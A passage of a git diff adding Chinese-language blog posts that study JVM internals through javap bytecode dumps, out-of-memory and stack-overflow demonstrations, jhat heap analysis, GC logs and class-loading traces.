0 + major version: 52 + flags: ACC_PUBLIC, ACC_SUPER +Constant pool: + #1 = Methodref #6.#32 // java/lang/Object."":()V + #2 = Class #33 // java/lang/IndexOutOfBoundsException + #3 = Class #34 // java/lang/NullPointerException + #4 = Class #35 // java/lang/Exception + #5 = Class #36 // Test + #6 = Class #37 // java/lang/Object + #7 = Utf8 + #8 = Utf8 ()V + #9 = Utf8 Code + #10 = Utf8 LineNumberTable + #11 = Utf8 LocalVariableTable + #12 = Utf8 this + #13 = Utf8 LTest; + #14 = Utf8 main + #15 = Utf8 ([Ljava/lang/String;)V + #16 = Utf8 e + #17 = Utf8 Ljava/lang/IndexOutOfBoundsException; + #18 = Utf8 Ljava/lang/NullPointerException; + #19 = Utf8 Ljava/lang/Exception; + #20 = Utf8 args + #21 = Utf8 [Ljava/lang/String; + #22 = Utf8 x + #23 = Utf8 I + #24 = Utf8 StackMapTable + #25 = Class #21 // "[Ljava/lang/String;" + #26 = Class #33 // java/lang/IndexOutOfBoundsException + #27 = Class #34 // java/lang/NullPointerException + #28 = Class #35 // java/lang/Exception + #29 = Utf8 MethodParameters + #30 = Utf8 SourceFile + #31 = Utf8 Test.java + #32 = NameAndType #7:#8 // "":()V + #33 = Utf8 java/lang/IndexOutOfBoundsException + #34 = Utf8 java/lang/NullPointerException + #35 = Utf8 java/lang/Exception + #36 = Utf8 Test + #37 = Utf8 java/lang/Object +{ + public Test(); + descriptor: ()V + flags: ACC_PUBLIC + Code: + stack=1, locals=1, args_size=1 + 0: aload_0 + 1: invokespecial #1 // Method java/lang/Object."":()V + 4: return + LineNumberTable: + line 1: 0 + LocalVariableTable: + Start Length Slot Name Signature + 0 5 0 this LTest; + + public static void main(java.lang.String[]); + descriptor: ([Ljava/lang/String;)V + flags: ACC_PUBLIC, ACC_STATIC + Code: + stack=1, locals=3, args_size=1 + 0: iconst_0 + 1: istore_1 + 2: bipush 11 + 4: istore_1 + 5: goto 26 + 8: astore_2 + 9: bipush 22 + 11: istore_1 + 12: goto 26 + 15: astore_2 + 16: bipush 33 + 18: istore_1 + 19: goto 26 + 22: astore_2 + 23: bipush 44 + 25: istore_1 + 26: return + Exception table: + from to target type + 2 5 8 Class java/lang/IndexOutOfBoundsException + 2 5 15 Class java/lang/NullPointerException + 2 5 22 Class java/lang/Exception + LineNumberTable: + line 3: 0 + line 5: 2 + line 12: 5 + line 6: 8 + line 7: 9 + line 12: 12 + line 8: 15 + line 9: 16 + line 12: 19 + line 10: 22 + line 11: 23 + line 13: 26 + LocalVariableTable: + Start Length Slot Name Signature + 9 3 2 e Ljava/lang/IndexOutOfBoundsException; + 16 3 2 e Ljava/lang/NullPointerException; + 23 3 2 e Ljava/lang/Exception; + 0 27 0 args [Ljava/lang/String; + 2 25 1 x I + StackMapTable: number_of_entries = 4 + frame_type = 255 /* full_frame */ + offset_delta = 8 + locals = [ class "[Ljava/lang/String;", int ] + stack = [ class java/lang/IndexOutOfBoundsException ] + frame_type = 70 /* same_locals_1_stack_item */ + stack = [ class java/lang/NullPointerException ] + frame_type = 70 /* same_locals_1_stack_item */ + stack = [ class java/lang/Exception ] + frame_type = 3 /* same */ + MethodParameters: + Name Flags + args +} +SourceFile: "Test.java" + +Process finished with exit code 0 + +``` + + + + + + + + + diff --git a/_posts/2022-03-27-588-finally.md b/_posts/2022-03-27-588-finally.md new file mode 100644 index 0000000..753d7cc --- /dev/null +++ b/_posts/2022-03-27-588-finally.md @@ -0,0 +1,155 @@ +--- +layout: post +title: JVM finally +pid: 588 +tags: [java] + +--- + +```java +public class Test { + public static void main(String[] args) { + int x = 100; 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+ descriptor: ()V + flags: ACC_PUBLIC + Code: + stack=1, locals=1, args_size=1 + 0: aload_0 + 1: invokespecial #1 // Method java/lang/Object."":()V + 4: return + LineNumberTable: + line 1: 0 + LocalVariableTable: + Start Length Slot Name Signature + 0 5 0 this LTest; + + public static void main(java.lang.String[]); + descriptor: ([Ljava/lang/String;)V + flags: ACC_PUBLIC, ACC_STATIC + Code: + stack=1, locals=4, args_size=1 + 0: bipush 100 + 2: istore_1 + 3: sipush 200 + 6: istore_1 + 7: sipush 400 + 10: istore_1 + 11: goto 33 + 14: astore_2 + 15: sipush 300 + 18: istore_1 + 19: sipush 400 + 22: istore_1 + 23: goto 33 + 26: astore_3 + 27: sipush 400 + 30: istore_1 + 31: aload_3 + 32: athrow + 33: return + Exception table: + from to target type + 3 7 14 Class java/lang/Exception + 3 7 26 any + 14 19 26 any + LineNumberTable: + line 3: 0 + line 5: 3 + line 9: 7 + line 10: 11 + line 6: 14 + line 7: 15 + line 9: 19 + line 10: 23 + line 9: 26 + line 10: 31 + line 11: 33 + LocalVariableTable: + Start Length Slot Name Signature + 15 4 2 e Ljava/lang/Exception; + 0 34 0 args [Ljava/lang/String; + 3 31 1 x I + StackMapTable: number_of_entries = 3 + frame_type = 255 /* full_frame */ + offset_delta = 14 + locals = [ class "[Ljava/lang/String;", int ] + stack = [ class java/lang/Exception ] + frame_type = 75 /* same_locals_1_stack_item */ + stack = [ class java/lang/Throwable ] + frame_type = 6 /* same */ + MethodParameters: + Name Flags + args +} +SourceFile: "Test.java" + +Process finished with exit code 0 + +``` + + + + + + + + + diff --git a/_posts/2022-03-27-589-synchronized.md b/_posts/2022-03-27-589-synchronized.md new file mode 100644 index 0000000..e65e642 --- /dev/null +++ b/_posts/2022-03-27-589-synchronized.md @@ -0,0 +1,153 @@ +--- +layout: post +title: JVM synchronized +pid: 589 +tags: [java] + +--- + +```java +public class Test { + public static void main(String[] args) { + Object lock = new Object(); + synchronized (lock) { + System.out.println("hello"); + } + } +} +``` + + + + +```java +/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home\bin\javap -v Test +Classfile /Users/baoguo/codes/demo/target/classes/Test.class + Last modified Mar 27, 2022; size 704 bytes + MD5 checksum bcbc680d8ff557e2be9701d84a5c1e52 + Compiled from "Test.java" +public class Test + minor version: 0 + major version: 52 + flags: ACC_PUBLIC, ACC_SUPER +Constant pool: + #1 = Methodref #2.#27 // java/lang/Object."":()V + #2 = Class #28 // java/lang/Object + #3 = Fieldref #29.#30 // java/lang/System.out:Ljava/io/PrintStream; + #4 = String #31 // hello + #5 = Methodref #32.#33 // java/io/PrintStream.println:(Ljava/lang/String;)V + #6 = Class #34 // Test + #7 = Utf8 + #8 = Utf8 ()V + #9 = Utf8 Code + #10 = Utf8 LineNumberTable + #11 = Utf8 LocalVariableTable + #12 = Utf8 this + #13 = Utf8 LTest; + #14 = Utf8 main + #15 = Utf8 ([Ljava/lang/String;)V + #16 = Utf8 args + #17 = Utf8 [Ljava/lang/String; + #18 = Utf8 lock + #19 = Utf8 Ljava/lang/Object; + #20 = Utf8 StackMapTable + #21 = Class #17 // "[Ljava/lang/String;" + #22 = Class #28 // java/lang/Object + #23 = Class #35 // java/lang/Throwable + #24 = Utf8 MethodParameters + #25 = Utf8 SourceFile + #26 = Utf8 Test.java + #27 = NameAndType #7:#8 // "":()V + #28 = Utf8 java/lang/Object + #29 = Class #36 // java/lang/System + #30 = NameAndType #37:#38 // out:Ljava/io/PrintStream; + #31 = Utf8 hello + #32 = Class #39 // java/io/PrintStream + #33 = NameAndType #40:#41 // println:(Ljava/lang/String;)V + #34 = Utf8 Test + #35 = Utf8 java/lang/Throwable + #36 = Utf8 java/lang/System + #37 = Utf8 out + #38 = Utf8 Ljava/io/PrintStream; + #39 = Utf8 java/io/PrintStream + #40 = Utf8 println + #41 = Utf8 (Ljava/lang/String;)V +{ + public Test(); + descriptor: ()V + flags: ACC_PUBLIC + Code: + stack=1, locals=1, args_size=1 + 0: aload_0 + 1: invokespecial #1 // Method java/lang/Object."":()V + 4: return + LineNumberTable: + line 1: 0 + LocalVariableTable: + Start Length Slot Name Signature + 0 5 0 this LTest; + + public static void main(java.lang.String[]); + descriptor: ([Ljava/lang/String;)V + flags: ACC_PUBLIC, ACC_STATIC + Code: + stack=2, locals=4, args_size=1 + 0: new #2 // class java/lang/Object + 3: dup + 4: invokespecial #1 // Method java/lang/Object."":()V + 7: astore_1 + 8: aload_1 + 9: dup + 10: astore_2 + 11: monitorenter + 12: getstatic #3 // Field java/lang/System.out:Ljava/io/PrintStream; + 15: ldc #4 // String hello + 17: invokevirtual #5 // Method java/io/PrintStream.println:(Ljava/lang/String;)V + 20: aload_2 + 21: monitorexit + 22: goto 30 + 25: astore_3 + 26: aload_2 + 27: monitorexit + 28: aload_3 + 29: athrow + 30: return + Exception table: + from to target type + 12 22 25 any + 25 28 25 any + LineNumberTable: + line 3: 0 + line 4: 8 + line 5: 12 + line 6: 20 + line 7: 30 + LocalVariableTable: + Start Length Slot Name Signature + 0 31 0 args [Ljava/lang/String; + 8 23 1 lock Ljava/lang/Object; + StackMapTable: number_of_entries = 2 + frame_type = 255 /* full_frame */ + offset_delta = 25 + locals = [ class "[Ljava/lang/String;", class java/lang/Object, class java/lang/Object ] + stack = [ class java/lang/Throwable ] + frame_type = 250 /* chop */ + offset_delta = 4 + MethodParameters: + Name Flags + args +} +SourceFile: "Test.java" + +Process finished with exit code 0 + +``` + + + + + + + + + diff --git a/_posts/2022-03-28-590-oom.md b/_posts/2022-03-28-590-oom.md new file mode 100644 index 0000000..d70f9c7 --- /dev/null +++ b/_posts/2022-03-28-590-oom.md @@ -0,0 +1,84 @@ +--- +layout: post +title: JVM OutOfMemoryError +pid: 590 +tags: [java] + +--- + +```java +import java.util.ArrayList; +import java.util.List; + +public class Test { + static class OOMObject { + + } + public static void main(String[] args) { + List list = new ArrayList(); + while(true){ + list.add(new OOMObject()); + } + } +} +``` + + + + +```java +baoguo@MacBook-Pro java % java -Xms20m -Xmx20m -XX:+HeapDumpOnOutOfMemoryError Test +java.lang.OutOfMemoryError: Java heap space +Dumping heap to java_pid9597.hprof ... +Heap dump file created [27555334 bytes in 0.085 secs] +Exception in thread "main" java.lang.OutOfMemoryError: Java heap space + at java.util.Arrays.copyOf(Arrays.java:3210) + at java.util.Arrays.copyOf(Arrays.java:3181) + at java.util.ArrayList.grow(ArrayList.java:265) + at java.util.ArrayList.ensureExplicitCapacity(ArrayList.java:239) + at java.util.ArrayList.ensureCapacityInternal(ArrayList.java:231) + at java.util.ArrayList.add(ArrayList.java:462) + at Test.main(Test.java:11) + + + +baoguo@MacBook-Pro java % jhat -port 7401 -J-Xmx4G java_pid9597.hprof +baoguo@MacBook-Pro ~ % jconsole + + +``` + + + +1. 可以使用JProfile去查看hprof文件，然后发现问题。 //JProfile可以单独开个专题来研究 +2. 可以使用Jhat去跟踪 + + + +http://127.0.0.1:7401 就可以访问 + +# Instance Counts for All Classes (including platform) + +Instance Counts for All Classes (including platform)810326[ instances](http://127.0.0.1:7401/instances/0x7bf7dd538) of [class Test$OOMObject](http://127.0.0.1:7401/class/0x7bf7dd538) + + + +810326[ instances](http://127.0.0.1:7401/instances/0x7bf7dd538) of [class Test$OOMObject](http://127.0.0.1:7401/class/0x7bf7dd538) +949[ instances](http://127.0.0.1:7401/instances/0x7bf816fc0) of [class [C](http://127.0.0.1:7401/class/0x7bf816fc0) +937[ instances](http://127.0.0.1:7401/instances/0x7bf7cd6b0) of [class java.lang.String](http://127.0.0.1:7401/class/0x7bf7cd6b0) +502[ instances](http://127.0.0.1:7401/instances/0x7bf814aa8) of [class [Ljava.lang.Object;](http://127.0.0.1:7401/class/0x7bf814aa8) + + + +可以查看到哪个对象占用的Heap比较多。 + + + + + +# 引用 + ++ [java命令--jhat命令使用](https://www.cnblogs.com/baihuitestsoftware/articles/6406271.html) ++ [jhat命令](https://blog.csdn.net/gtuu0123/article/details/6039474) ++ [jmap命令结合mat插件分析内存泄露](https://www.cnblogs.com/o-andy-o/archive/2013/06/11/3132316.html) ++ [Java命令学习系列（五）——jhat](http://www.hollischuang.com/archives/1047) diff --git a/_posts/2022-03-30-591-JavaVMStackSOF.md b/_posts/2022-03-30-591-JavaVMStackSOF.md new file mode 100644 index 0000000..4ad0ae4 --- /dev/null +++ b/_posts/2022-03-30-591-JavaVMStackSOF.md @@ -0,0 +1,1051 @@ +--- +layout: post +title: JVM JavaVMStackSOF +pid: 591 +tags: [java] + +--- + +```java +public class JavaVMStackSOF { + private int stackLength = 1; + public void stackLeak() { + stackLength++; + stackLeak(); + } + + public static void main(String[] args) { + JavaVMStackSOF oom = new JavaVMStackSOF(); + try{ + oom.stackLeak(); + }catch (Throwable e) { + System.out.println("stack length" + oom.stackLength); + throw e; + } + } +} +``` + + + + +```java +baoguo@MacBook-Pro java % java -Xss128K JavaVMStackSOF + +The stack size specified is too small, Specify at least 160k +Error: Could not create the Java Virtual Machine. +Error: A fatal exception has occurred. Program will exit. +baoguo@MacBook-Pro java % java -Xss180K JavaVMStackSOF +stack length1006 +Exception in thread "main" java.lang.StackOverflowError + at JavaVMStackSOF.stackLeak(JavaVMStackSOF.java:4) + at JavaVMStackSOF.stackLeak(JavaVMStackSOF.java:5) + at JavaVMStackSOF.stackLeak(JavaVMStackSOF.java:5) + at JavaVMStackSOF.stackLeak(JavaVMStackSOF.java:5) + at JavaVMStackSOF.stackLeak(JavaVMStackSOF.java:5) + at JavaVMStackSOF.stackLeak(JavaVMStackSOF.java:5) + at JavaVMStackSOF.stackLeak(JavaVMStackSOF.java:5) + at JavaVMStackSOF.stackLeak(JavaVMStackSOF.java:5) + at JavaVMStackSOF.stackLeak(JavaVMStackSOF.java:5) + at JavaVMStackSOF.stackLeak(JavaVMStackSOF.java:5) + at JavaVMStackSOF.stackLeak(JavaVMStackSOF.java:5) + at JavaVMStackSOF.stackLeak(JavaVMStackSOF.java:5) + at JavaVMStackSOF.stackLeak(JavaVMStackSOF.java:5) + at JavaVMStackSOF.stackLeak(JavaVMStackSOF.java:5) + at JavaVMStackSOF.stackLeak(JavaVMStackSOF.java:5) + at JavaVMStackSOF.stackLeak(JavaVMStackSOF.java:5) + at JavaVMStackSOF.stackLeak(JavaVMStackSOF.java:5) + at JavaVMStackSOF.stackLeak(JavaVMStackSOF.java:5) + at JavaVMStackSOF.stackLeak(JavaVMStackSOF.java:5) + at JavaVMStackSOF.stackLeak(JavaVMStackSOF.java:5) + at JavaVMStackSOF.stackLeak(JavaVMStackSOF.java:5) + at JavaVMStackSOF.stackLeak(JavaVMStackSOF.java:5) + at JavaVMStackSOF.stackLeak(JavaVMStackSOF.java:5) + at JavaVMStackSOF.stackLeak(JavaVMStackSOF.java:5) + at JavaVMStackSOF.stackLeak(JavaVMStackSOF.java:5) + at JavaVMStackSOF.stackLeak(JavaVMStackSOF.java:5) + at JavaVMStackSOF.stackLeak(JavaVMStackSOF.java:5) + at JavaVMStackSOF.stackLeak(JavaVMStackSOF.java:5) + at JavaVMStackSOF.stackLeak(JavaVMStackSOF.java:5) + at JavaVMStackSOF.stackLeak(JavaVMStackSOF.java:5) + at JavaVMStackSOF.stackLeak(JavaVMStackSOF.java:5) + at JavaVMStackSOF.stackLeak(JavaVMStackSOF.java:5) + at JavaVMStackSOF.stackLeak(JavaVMStackSOF.java:5) + at JavaVMStackSOF.stackLeak(JavaVMStackSOF.java:5) + at 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+baoguo@MacBook-Pro java % +``` + + diff --git a/_posts/2022-03-30-592-JavaVMStackOOM.md b/_posts/2022-03-30-592-JavaVMStackOOM.md new file mode 100644 index 0000000..4b79da2 --- /dev/null +++ b/_posts/2022-03-30-592-JavaVMStackOOM.md @@ -0,0 +1,53 @@ +--- +layout: post +title: JVM JavaVMStackOOM +pid: 592 +tags: [java] + +--- + +```java +public class JavaVMStackOOM { + private void dontStop() { + while(true) { + + } + } + + public void stackLeakByThread() { + while (true) { + Thread thread = new Thread(new Runnable() { + @Override + public void run() { + dontStop(); + } + }); + thread.start(); + } + } + + public static void main(String[] args) throws Throwable{ + JavaVMStackOOM oom = new JavaVMStackOOM(); + oom.stackLeakByThread(); + } +} +``` + + + + +```java +baoguo@MacBook-Pro java % javac JavaVMStackOOM.java +baoguo@MacBook-Pro java % java -Xss2M JavaVMStackOOM +Exception in thread "main" java.lang.OutOfMemoryError: unable to create new native thread + at java.lang.Thread.start0(Native Method) + at java.lang.Thread.start(Thread.java:717) + at JavaVMStackOOM.stackLeakByThread(JavaVMStackOOM.java:16) + at JavaVMStackOOM.main(JavaVMStackOOM.java:22) +^CJava HotSpot(TM) 64-Bit Server VM warning: Exception java.lang.OutOfMemoryError occurred dispatching signal SIGINT to handler- the VM may need to be forcibly terminated +^CJava HotSpot(TM) 64-Bit Server VM warning: Exception java.lang.OutOfMemoryError occurred dispatching signal SIGINT to handler- the VM may need to be forcibly terminated + + + +``` + diff --git a/_posts/2022-04-04-593-ReferenceCountingGC.md b/_posts/2022-04-04-593-ReferenceCountingGC.md new file mode 100644 index 0000000..0f2804c --- /dev/null +++ b/_posts/2022-04-04-593-ReferenceCountingGC.md @@ -0,0 +1,52 @@ +--- +layout: post +title: JVM ReferenceCountingGC +pid: 593 +tags: [java] + +--- + +```java +public class ReferenceCountingGC { + public Object instance = null; + private static final int _1MB = 1024 * 1024; + + private byte[] bigSize = new byte[2 * _1MB]; + + public static void testGC() { + ReferenceCountingGC objA = new ReferenceCountingGC(); + ReferenceCountingGC objB = new ReferenceCountingGC(); + objA.instance = objB; + objB.instance = objA; + + objA = null; + objB = null; + + System.gc(); + } + + public static void main(String[] args) { + testGC(); + } +} +``` + + + + +```java +baoguo@MacBook-Pro java % java -XX:+PrintGCDetails ReferenceCountingGC +[GC (System.gc()) [PSYoungGen: 6717K->496K(76288K)] 6717K->504K(251392K), 0.0006260 secs] [Times: user=0.00 sys=0.00, real=0.00 secs] +[Full GC (System.gc()) [PSYoungGen: 496K->0K(76288K)] [ParOldGen: 8K->267K(175104K)] 504K->267K(251392K), [Metaspace: 2499K->2499K(1056768K)], 0.0024706 secs] [Times: user=0.02 sys=0.01, real=0.00 secs] +Heap + PSYoungGen total 76288K, used 655K [0x000000076ab00000, 0x0000000770000000, 0x00000007c0000000) + eden space 65536K, 1% used [0x000000076ab00000,0x000000076aba3ee8,0x000000076eb00000) + from space 10752K, 0% used [0x000000076eb00000,0x000000076eb00000,0x000000076f580000) + to space 10752K, 0% used [0x000000076f580000,0x000000076f580000,0x0000000770000000) + ParOldGen total 175104K, used 267K [0x00000006c0000000, 0x00000006cab00000, 0x000000076ab00000) + object space 175104K, 0% used [0x00000006c0000000,0x00000006c0042df8,0x00000006cab00000) + Metaspace used 2506K, capacity 4486K, committed 4864K, reserved 1056768K + class space used 267K, capacity 386K, committed 512K, reserved 1048576K +baoguo@MacBook-Pro java % +``` + diff --git a/_posts/2022-04-04-594-FinalizeEscapeGC.md b/_posts/2022-04-04-594-FinalizeEscapeGC.md new file mode 100644 index 0000000..d8076da --- /dev/null +++ b/_posts/2022-04-04-594-FinalizeEscapeGC.md @@ -0,0 +1,57 @@ +--- +layout: post +title: JVM FinalizeEscapeGC +pid: 594 +tags: [java] + +--- + +```java +public class FinalizeEscapeGC { + public static FinalizeEscapeGC SAVE_HOOK = null; + + public void isAlive() { + System.out.println("Yes, i am still alive :)"); + } + + @Override + protected void finalize() throws Throwable { + super.finalize(); + System.out.println("finalize method executed!"); + FinalizeEscapeGC.SAVE_HOOK = this; + } + + public static void main(String[] args) throws Throwable{ + SAVE_HOOK = new FinalizeEscapeGC(); + + SAVE_HOOK = null; + System.gc(); + Thread.sleep(500); + if (SAVE_HOOK != null) { + SAVE_HOOK.isAlive(); + }else { + System.out.println("no, i am dead :("); + } + + SAVE_HOOK = null; + System.gc(); + Thread.sleep(500); + if (SAVE_HOOK != null) { + SAVE_HOOK.isAlive(); + }else { + System.out.println("no, i am dead :("); + } + } +} + +``` + + + + +```java +finalize method executed! +Yes, i am still alive :) +no, i am dead :( +``` + diff --git a/_posts/2022-04-06-595-NotInitialization.md b/_posts/2022-04-06-595-NotInitialization.md new file mode 100644 index 0000000..6d8e0a2 --- /dev/null +++ b/_posts/2022-04-06-595-NotInitialization.md @@ -0,0 +1,435 @@ +--- +layout: post +title: JVM NotInitialization +pid: 595 +tags: [java] + +--- + +```java +public class SuperClass { + static { + System.out.println("SuperClass init!"); + } + + public static int value = 123; +} + +public class SubClass extends SuperClass{ + static { + System.out.println("SubClass init!"); + } +} + +public class NotInitialization { + public static void main(String[] args) { + System.out.println(SubClass.value); + } +} +``` + + + + +```java +baoguo@MacBook-Pro java % java -XX:+TraceClassLoading NotInitialization +[Opened /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.Object from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.io.Serializable from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.Comparable from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.CharSequence from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.String from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.reflect.AnnotatedElement from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.reflect.GenericDeclaration from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.reflect.Type from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.Class from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.Cloneable from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.ClassLoader from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.System from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.Throwable from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.Error from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.ThreadDeath from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.Exception from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.RuntimeException from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.SecurityManager from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.security.ProtectionDomain from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.security.AccessControlContext from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.security.SecureClassLoader from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.ReflectiveOperationException from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.ClassNotFoundException from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.LinkageError from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.NoClassDefFoundError from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.ClassCastException from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.ArrayStoreException from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.VirtualMachineError from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.OutOfMemoryError from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.StackOverflowError from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.IllegalMonitorStateException from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.ref.Reference from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.ref.SoftReference from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.ref.WeakReference from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.ref.FinalReference from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.ref.PhantomReference from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.misc.Cleaner from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.ref.Finalizer from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.ref.ReferenceQueue from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.Runnable from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.Thread from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.Thread$UncaughtExceptionHandler from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.ThreadGroup from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.util.Map from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.util.Dictionary from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.util.Hashtable from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.util.Properties from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.reflect.AccessibleObject from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.reflect.Member from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.reflect.Field from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.reflect.Parameter from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.reflect.Executable from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.reflect.Method from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.reflect.Constructor from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.reflect.MagicAccessorImpl from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.reflect.MethodAccessor from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.reflect.MethodAccessorImpl from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.reflect.ConstructorAccessor from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.reflect.ConstructorAccessorImpl from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.reflect.DelegatingClassLoader from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.reflect.ConstantPool from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.reflect.FieldAccessor from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.reflect.FieldAccessorImpl from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.reflect.UnsafeFieldAccessorImpl from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded sun.reflect.UnsafeStaticFieldAccessorImpl from /Library/Java/JavaVirtualMachines/jdk1.8.0_231.jdk/Contents/Home/jre/lib/rt.jar] +[Loaded java.lang.annotation.Annotation from 